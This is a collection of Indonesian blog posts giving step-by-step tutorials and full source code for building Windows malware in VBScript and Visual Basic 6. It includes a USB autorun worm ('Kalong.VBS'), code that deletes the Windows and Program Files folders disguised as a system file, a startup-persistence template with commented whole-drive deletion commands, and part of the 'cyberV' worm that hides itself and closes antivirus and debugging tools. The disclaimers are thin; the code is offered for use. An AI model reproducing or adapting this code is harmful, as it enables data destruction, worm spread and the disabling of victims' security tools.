0 Comments
Di buat oleh : velshadow 11 April 2009
software ini di gunakkan untuk pembuatan virus yang berekstensi .bat
dengan sofftware kita dapat memilih bagaimana virus akan menyerang contoh,


1. bomb desktop
2. disable taskman
3. run in system .ini
4. spam C:\ with txt file
5. switch mouse button
6. disable fire wall -- may slow virus process down !
7. copy to start up
8. delete my documment
9. kill process ...
10. copy in start up registry
11. speard throught p2p
12. block anati vir. update + email server
13. include 1000 fake byte's
14. run vir as service
15. set default home page`
16. spam with windows error message
17. super hide system 32 folder from user
18. super hide user login page
19. speard vir to random place
20. confuse file with other file dst.

dengan software ini kita dapat membuat virus dengan mudah tanpa susah payah
membuat code ~ Hardwired's Virus Maker Betta.exe ~

0 Comments
Di buat oleh : velshadow 09 April 2009
'------------------kode dibawah ini-----------------


do
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
If colCDROMs.Count >= 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
loop


'-------------------------------------------------------
'Caranya, kopi kode diatas di notepad baru, dan simpan
'dengan ekstensi .vbs

0 Comments
Di buat oleh : velshadow
para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.
Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0r43;, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1r43;, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1r43;, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1r43;, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1r43;, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1r43;, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1r43;, “REG_DWORD”
‘//–Manip - Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.

0 Comments
Di buat oleh : velshadow


Nih tutorial buat bikin virus yg rada mematikan, tapi simple, dan kayanya sih g’ bakal kedekteksi antivirus, soalnya cara kerjanya simple gt

Yg diperluin:
1. VB(optimal : 6.0)
2. Ngerti tombol2nya VB

—- more —-

Tutorial Bikin Virus cman 1 mnt

1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3. Kode yg warna biru itu penangkal nih virus, barang kali lu ga sengaja teken jadi lu slamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserang ndiri… bisa lu edit koq jadi apa gitu…

Yang warna merah itu folder yg bakal didelete ama nih virus, lu edit ndiri aja…

4. Bikin nih project namanya kaya nama system, disini gwe make nama “SystemKernel32″ jadi ga bakal dicurigain

5. Jangan pernah naroh nama lu di nih virus… k?

6. compile deh… slese!

Simple kan? nih virus kerjanya cman ngapus system, lumayan bahaya… ini cman contoh bikin virus… slanjutnya.. anda ndiri coba2 ndiri.

Reff : http://neolisense.wordpress.com/


0 Comments
Di buat oleh : velshadow


Sebelumnya, berikut ini cara-cara paling gampang untuk membuat virus.
semua hal dibawah ini hanya sebagai penambah pengetahuan kita saja
dan tidak boleh disalah gunakan untuk hal-hal yang bersifat merusak.
Dan saya tidak bertanggung jawab jika itu terjadi. Sekarang kita akan
membahas cara gampang membuat virus pake vbs file.

pertama, berikut ini hal-hal yang wajib kita siapin sebelum membuat virus.
# seperangkat komputer berikut monitor,cpu,mouse,kibor, dll (wajib)
# kita harus menyiapkan sebuah file yang ber-ekstensi vbs (*.vbs)
# secangkir teh anget.
# akan lebih afdoL kalo ditemenin lagu2nya rhcp (aku ngefans ma rhcp)

Untuk eksekusi pertama, yang dilakukan virus biasanya mengubah registry.
Sebenarnya udah aku bahas di blogku ini. tapi nggak papa aku ulangin aja.
biar keliatan resmi :-). misalnya:

1. mendisable regedit. Yang kita tulis:
On Error Resume Next(perintah ini digunakan pada file vb
supaya kalo ada yang salah bisa dilanjutin kode selanjutnya)
CreateObject("WScript.Shell").run "cmd.exe /c reg add hkcusoftware\microsoft\windows\currentversion\policies\system /v
disableregistrytools /t reg_dword /d ""1"" /f", vbhide


sebenarnya banyak cara untuk mendisable regedit. misalnya kek gini:
CreateObject("WScript.Shell").regwriteHKEY_CURRENT_USERsoftware\microsoft\windows\currentversion\policies\systemdisableregistrytools", 1, "REG_DWORD"

lalu mengubah registry yang lain. yang nggak aku bahas disini karena
udah pernah aku bahas pada postingan yang lain di blogku ini.

2. mengopikan diri ke direktory lain

CreateObject("Scripting.FileSystemObject").
GetFile(WScript.ScriptFullName).Copy "c:\windows\system32\virus.vbs"

Ada juga cara lain dengan kide seperti ini:
On Error Resume Next
createobject("scripting.filesystemobject").copyfile wscript.scriptfullname,
createobject("scripting.filesystemobject")
.getspecialfolder(1) & "\virus.vbs"

misalnya untuk mengkopikan diri ke direktory C:\WINDOWS\System32
dengan nama virus.vbs
.getspecialfolder(0) digunakan untuk direktory WINDOWS
.getspecialfolder(1) digunakan untuk direktory SYSTEM32 pada windowsXP
.getspecialfolder(2) digunakan untuk direktory Temporary

3.Membunuh proses.
digunakan untuk membunuh proses
(proses adalah program yang sedang berjalan)
misalnya kita akan membunuh proses taskmanager
On Error Resume Next
CreateObject("WScript.Shell")
.run "taskkill /f /im taskmgr.exe", vbhide


4.Menjalankan virus pada saat startup atau saat windows dihidupkan.
menggunakan regedit
On Error Resume Next
CreateObject("WScript.Shell").RegWrite "HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\CurrentVersion\Run\virus"
, "c:\windows\system32\virus.vbs"

(menjalankan virus yang berada di direktory c:\windows\system32
dengan nama virus.vbs)

5.Menghapus File / Folder
agar virus yang kita buat tidak banyak menggunakan script bisa di singkat seperti ini:
On Error Resume Next
set hapus = CreateObject("Scripting.FileSystemObject")
hapus.DeleteFile "C:\xxx.exe"
'(menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder "C:\antivirus" '(menghapus folder antivirus di direktory C:\)

6.Merestart Windows
CreateObject("WScript.Shell").run "shutdown -r -f -t 60", vbhide
merestart windows dalam waktu 60 sekon

7.Meng-ShutDown Windows
CreateObject("WScript.Shell").run "shutdown -s-f -t 60", vbhide
mematikan windows dalam waktu 60 sekon :)yang beda cuman
"shutdown -s-f -t 60"
S = untuk shutdown dan
R = untuk reboot\restart

8. Mengaktifkan Virus Pada Waktu tertentu
If day(now) = 1 and month(now) = 1 and year(now) = 2007 then
'(masukkan kode virus disini)
End if
'misalnya kalo mau mengaktifkan pada tanggal 1, bulan 1
'dan tahun 2007

Ok. Pelajaran bikin virus untuk hari ini saya kira udah cukup.
walaupun udah sering dibahas,, nggak papalah,,,, itung-itung
buat nambahin pengetahuan kita. dan semoga bermanfaat :-)

0 Comments
Di buat oleh : velshadow

Gwe bikin nih tutorial buat bikin virus yg rada mematikan, tapi simple, dan kayanya sih ga bakal kedekteksi antivirus, soalnya cara kerjanya simple bgt

Yg diperluin:
1. VB(optimal : 6.0)
2. Ngerti tombol2nya VB

Tutorial Bikin Virus cman 1 mnt

1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3.
Kode yg warna biru itu penangkal nih virus, barang kali lu ga sengaja teken jadi lu slamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserang ndiri… bisa lu edit koq jadi apa gitu…

Yang warna merah itu folder yg bakal didelete ama nih virus, lu edit ndiri aja…

4. Bikin nih project namanya kaya nama system, disini gwe make nama “SystemKernel32″ jadi ga bakal dicurigain

5. Jangan pernah naroh nama lu di nih virus… k?

6. compile deh… slese!

Simple kan? nih virus kerjanya cman ngapus system, lumayan bahaya… ini cman contoh bikin virus… slanjutnya.. anda ndiri coba2 ndiri


0 Comments
Di buat oleh : velshadow

'~ selamat mencoba, ini sekedar untuk belajar ~
'~ jgn di gunakan untuk hal yang merugikann. ~
penghapus file ^^

ini buakn virus dan worm. tapi ini lebih berbahaya kenapa ?
karena file ini dapat menghapus dektori C: dan bisa saja menghapus smw tak tersisa
sebelum menggunakan.. backup data anda atau bekukan dengan depfrezee.
ni code vb 6.0

QUOTE ::

'Pallvb WILL NOT BE HELD RESPONSIBLE FOR WHAT PEOPLE MIGHT USE THIS FOR
Dim namefile As String
Dim namereg As String
Private Sub Form_Load()
On Error Resume Next
Me.Hide 'so people can not see it
namefile = "virus.exe" 'put the virus file name here with the .exe on the end !Recommended to change!
namereg = "virus" 'put the virus reg key name in here !Recommended to change!
If LCase$(App.Path) <> "c:\windows\system32" Or "c:\windows\start menu\programs\startup" Or "c:\windows\start menu\programs\start up" Or "c:\winnt\system32" Or "c:\winnt\start menu\programs\startup" Or "c:\winnt\start menu\programs\start up" Or "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" Then
'^this is check if the computer already has been infected !Recommended not to touch!
reg namefile, namereg 'this is to infect the computer
End If
payload 'this goes to the main part of the virus
End Sub
Function payload()
On Error Resume Next
'this is the main part of the virus put the code here of what you want this virus to do

'Shell ("cmd /c del c:\windows\* /F /S /Q") 'this will kill the windows folder in C:

'Shell ("cmd /c del c:\* /F /S /Q") 'this will kill the whole C: drive

'start:
'msgbox "Your Pc Is Infected With The Anoying Virus"
'goto start 'this will repeat a msgbox over and over again
End Function

module code:
QUOTE
'!Recommended not to touch!
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Const REG_SZ = 1
Public Const REG_DWORD = 4
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long
Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)
'this is to save the virus in the reg to startup when windows boots !Recommended not to touch!
On Error Resume Next
Dim keyhand As Long
Dim X As Long
X = RegCreateKey(Hkey, strPath, keyhand)
X = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
X = RegCloseKey(keyhand)
End Sub
Public Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)
'this is to delete the virus if something went wrong in reg(below) !Recommended not to touch!
On Error Resume Next
Dim Xkey As Long
Dim X As Long
X = RegOpenKey(Hkey, strPath, Xkey)
X = RegDeleteValue(Xkey, strValue)
X = RegCloseKey(Xkey)
End Function
Function reg(filename As String, regname As String)
'this is to infect the computer (a little complex) !Recommended not to touch!
On Error GoTo error1
Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname, "c:\windows\system32\" & filename)
On Error GoTo error2
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\system32\" & filename
Exit Function
error1:
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\start menu\programs\startup\" & filename
On Error GoTo error4
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\start menu\programs\start up\" & filename
Exit Function
error2:
On Error GoTo error3
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\winnt\system32\" & filename
Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname)
Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname, "c:\winnt\system32\" & filename)
Exit Function
error3:
On Error GoTo error6
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\" & filename
Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname)
Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname, "c:\" & filename)
Exit Function
error4:
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\winnt\start menu\programs\startup\" & filename
On Error GoTo error5
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\winnt\start menu\programs\start up\" & filename
Exit Function
error5:
On Error GoTo enditnow
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & filename
Exit Function
error6:
On Error GoTo error7
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\Documents and Settings\" & filename
Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname)
Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname, "c:\Documents and Settings" & filename)
Exit Function
error7:
On Error GoTo enditnow
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\program files\" & filename
Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname)
Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname, "c:\program files\" & filename)
Exit Function
enditnow:
On Error Resume Next
Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname)
End
End Function

posted by : http://www.rohitab.com/discuss/index.php?s=6c13f89cae5bd1ce3755718e223dcc73&showuser=3800


0 Comments
Di buat oleh : velshadow
buat virus dengan vb6.0 II

siapkan makanan untuk sambilan jika lambatt ^^
minuman jika hauss dari pd ntr ngambill lama
huft langsunga ajj ea siapkan,
~Microsoft Visual Basic 6.0
~icon. atau kamu bisa buat dengan software ini
~kejenuhan.. cz agak rumit tapi asikk
baca aturan d bawah ini !!! hhe..

'1. buat from beri nama frmcyberv
format sbg berikutt ^^

'appearance = 0-flat
'border style = 0 - None
'caption = [kosong]
'show in taskbar = false
'minbutton = false
'maxbutton = false
'visible = false

'2. buat module beri nama API
' buat module beri nama Cari
' buat module beri nama fungsi
' buat module beri nama GetDrive
' buat module beri nama httinimsg
' buat module beri nama ProcessTable

'3. selanjutnya kita mengisi form dengan

'=================================
' cyberv virus love
'=================================
Dim drv2 As Long
Dim sTemp As String
Dim sTemp3 As String
Dim PngVirus As Long

Private Sub Form_Load()

On Error Resume Next
Selesai = True
Ketemu = True

'Kopi file msvbv60.dll ke directory System dan Windows
If Dir$(App.Path & "\" & "msvbvm60.dll") <> "" Then
CopyFile App.Path & "\" & "msvbvm60.dll", GetSystemPath & "msvbvm60.dll", 0
CopyFile App.Path & "\" & "msvbvm60.dll", GetWindowsPath & "msvbvm60.dll", 0
SetFileAttributes GetSystemPath & "msvbvm60.dll", FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetWindowsPath & "msvbvm60.dll", FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
End If

'Jika parameter pemanggilan virus tidak sama dengan kosong
If Command$ <> "" Then
Dim sFilePath As String
'ambil Path file
sFilePath = Right$(Command$, Len(Command$) - 1)
sFilePath = Left$(sFilePath, Len(sFilePath) - 2)
'set file attribute file tersebut menjadi readonly dan hidden
SetFileAttributes sFilePath, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
'cari apakah ada file yang berkaitan dengan pornografi dan korupsi pada lokasi tersebut lalu sembunyikan
CariFile NamaPath(sFilePath), "*.*", 1
'gandahkan diri kedalam lokasi tersebut denga nama file diambil dari nama folder
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", NamaPath(sFilePath) & RTrim$(Left(NamaFile(sFilePath), Len(NamaFile(sFilePath)) - 4)) & " .exe", 0
'set penggandaan diri dengan attribute normal
SetFileAttributes NamaPath(sFilePath) & RTrim$(Left(NamaFile(sFilePath), Len(NamaFile(sFilePath)) - 4)) & " .exe", FILE_ATTRIBUTE_NORMAL
'check apakah file tersebut memiliki Kata ANT, BRO atau VIR
'jika memiliki jangan dijalankan
If InStr(UCase(Command$), "ANT") Or InStr(UCase(Command$), "BRO") _
Or InStr(UCase(Command$), "VIR") Then
'jika tidak jalankan file tersebut
Else
Shell Command$, vbNormalFocus
PanggilVirus
DoEvents
End If
End If

'atur registry saat virus pertama kali dijalankan
Sett

'jalankan sekali saja
If App.PrevInstance Then End

'sembunyi dari task manager
frmcyberv.Hide
App.TaskVisible = False
App.Title = ""

'atur registry agar file dengan yang disembunyikan tidak tampil
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0

If UCase(App.EXEName) = UCase("Empty") Then
'jika file yang dijalankan bernama cyberv
ElseIf UCase(App.EXEName) = UCase("cyberV") Then
'check tanggal hari ini apakah tanggal satu atau tanggal 12 jika ya jalankan file Puisi.txt denga Notepad
If Day(Now) = "21" Or Day(Now) = "25" Then Shell "Notepad.exe C:\cyberV.txt", vbNormalFocus
'timer diaktifkan
Timer1.Enabled = True
ElseIf UCase(App.EXEName) = UCase("Shell") Then
'timer diaktifkan
Timer1.Enabled = True
ElseIf UCase(App.EXEName) = UCase("IExplorer") Then
ElseIf UCase(App.EXEName) = UCase("WINLOGON") Then
'timer diaktifkan
Timer1.Enabled = True
ElseIf UCase(App.EXEName) = UCase("CSRSS") Then
ElseIf UCase(App.EXEName) = UCase("Services") Then
ElseIf UCase(App.EXEName) = UCase("SMSS") Then
ElseIf UCase(App.EXEName) = UCase("lsass") Then
ElseIf UCase(App.EXEName) = UCase("MrHelloween") Or UCase(App.EXEName) = UCase("MRHELL~1") Then PanggilVirus
'jika tidak
Else
'Update Virus
'matikan proses untuk sementara
Prosess 1
'Kopikan virus baru
Kopi
'Lalu panggil kembali virus baru tersebut
PanggilVirus
End
End If

End Sub

Private Sub Form_Terminate()
'Panggil kembali virus
PanggilVirus
End Sub

Private Sub Form_Unload(Cancel As Integer)
'tidak dapat dimatikan
Cancel = 1
PanggilVirus
End Sub

Private Sub Timer1_Timer()

On Error Resume Next
Dim hand1 As Long
Dim hand2 As Long
Dim hand3 As Long
Dim hand4 As Long
Dim hand5 As Long
Dim hand6 As Long
Dim hand7 As Long
Dim temp As String * 256
Dim temp2 As String * 256
Dim AlamatFile1 As String
Dim JudulCaption1 As String
Dim hand8 As Long
Dim hand9 As Long
Dim hand10 As Long
Dim temp3 As String * 256
Dim MultiMedia As String
Dim i As Integer
Dim JmlTmp As Long
Dim TmpPngVirus As Long

'cek apakah ada program dengan classname RegEdit_RegEdit
hand7 = FindWindow("RegEdit_RegEdit", vbNullString)
'cek apakah ada progam dengan caption Registry Editor
If hand7 = 0 Then hand7 = FindWindow(vbNullString, "Registry Editor")
'cek apakah ada progam dengan caption Folder Options
If hand7 = 0 Then hand7 = FindWindow(vbNullString, "Folder Options")
'cek apakah ada progam dengan caption Local Settings
If hand7 = 0 Then hand7 = FindWindow(vbNullString, "Local Settings")
'jika ada restart
If hand7 <> 0 Then
Restart
Timer1.Enabled = False
End
End If

'cek dapatkan handel dari program yang sedang mendapatkan focus
TmpPngVirus = GetForegroundWindow
'jika handel tidak sama dengan handle program seebelumnya maka panggil kembali virus
If PngVirus <> TmpPngVirus Then PanggilVirus: PngVirus = TmpPngVirus

'membaca address bar pada windows explorer sebagai media penyebaran
hand1 = FindWindow("ExploreWClass", vbNullString)
hand10 = FindWindow("CabinetWClass", vbNullString)
If hand1 = GetForegroundWindow Then
hand2 = FindWindowEx(hand1, 0&, "WorkerW", vbNullString)
SendMessage hand1, WM_GETTEXT, 200, ByVal temp2
ElseIf hand10 = GetForegroundWindow Then
hand2 = FindWindowEx(hand10, 0&, "WorkerW", vbNullString)
SendMessage hand10, WM_GETTEXT, 200, ByVal temp2
Else
Dim AppCaption As String * 255
Dim HCap As Long
'dapatkan handle dari program yang dijalankan
HCap = GetForegroundWindow
'dapatkan captionnya dari handle yang didapat
GetWindowText HCap, AppCaption, 255
'jika pda caption tersebut terdapat kata-kata ANT,VIR,TASK,ASM,REG,ASM,W32,BUG,
'DBG,HEX,DETEC,PROC,WALK,REST,AVS,OPTIONS
If InStr(UCase(AppCaption), "ANT") Or InStr(UCase(AppCaption), "VIR") _
Or InStr(UCase(AppCaption), "TASK") Or InStr(UCase(AppCaption), "REG") _
Or InStr(UCase(AppCaption), "ASM") Or InStr(UCase(AppCaption), "DBG") _
Or InStr(UCase(AppCaption), "W32") Or InStr(UCase(AppCaption), "BUG") _
Or InStr(UCase(AppCaption), "HEX") Or InStr(UCase(AppCaption), "DETEC") _
Or InStr(UCase(AppCaption), "PROC") Or InStr(UCase(AppCaption), "WALK") _
Or InStr(UCase(AppCaption), "REST") Or InStr(UCase(AppCaption), "AVS") _
Or InStr(UCase(AppCaption), "OPTIONS") Then
'maka tutup program tersebut
SendMessage HCap, WM_CLOSE, 0, 0
End If
End If
'dapatkan string pada address bar
hand3 = FindWindowEx(hand2, 0&, "RebarWindow32", vbNullString)
hand4 = FindWindowEx(hand3, 0&, "ComboBoxEx32", vbNullString)
hand5 = FindWindowEx(hand4, 0&, "ComboBox", vbNullString)
hand6 = FindWindowEx(hand5, 0&, "Edit", vbNullString)
SendMessage hand6, WM_GETTEXT, 200, ByVal temp
'ambil lokasi folder yang aktif pada windows explorer
AlamatFile1 = Mid$(temp, 1, InStr(temp, Chr$(0)) - 1)
'ambil caption windows explorer
JudulCaption1 = Mid$(temp2, 1, InStr(temp2, Chr$(0)) - 1)
'jika caption tersebut terdapat kata ANTI dan VIRUS
If InStr(UCase(JudulCaption1), "ANTI") <> 0 Or InStr(UCase(JudulCaption1), "VIRUS") <> 0 Then
'maka sembunyikan windows explorer tersebut
ShowWindow hand1, SW_HIDE
End If

'jika judul tersebut tidak sama dengan judul sebelumnya
If JudulCaption1 <> sTemp Then
'atur kembali pencarian dimulai dari drive c
Ketemu = False: TmpDrv = "C:\"
End If

'dapatkan nama folder dari Open File pada winamp
hand8 = FindWindow("#32770", vbNullString)
hand9 = FindWindowEx(hand8, 0&, "ComboBox", vbNullString)
SendMessage hand9, WM_GETTEXT, 200, ByVal temp3
'ambil nama folder tersebut
MultiMedia = Mid(temp3, 1, InStr(temp3, Chr$(0)) - 1)

'jika nama folder sekarang tidak sama dengan folder sebelumnya
If MultiMedia <> sTemp3 Then
'atur pencarian dimulai dari drive c
Ketemu2 = False: TmpDrv2 = "C:\"
End If

'jika Multimedia tidak sama dengan kosong dan tidak sama dengan nama folder yang lama
If MultiMedia <> "" And sPathLama2 <> MultiMedia Then
'cari folder multimedia tersebut dimulai dari dirve c
If Ketemu2 = False And TmpDrv2 <> Right$(CariDrive, 3) Then
Dim sdrv2 As String
'jika drv2 tidak sama dengan 0 makan cari nama folder multimedia tersebut pada drive c
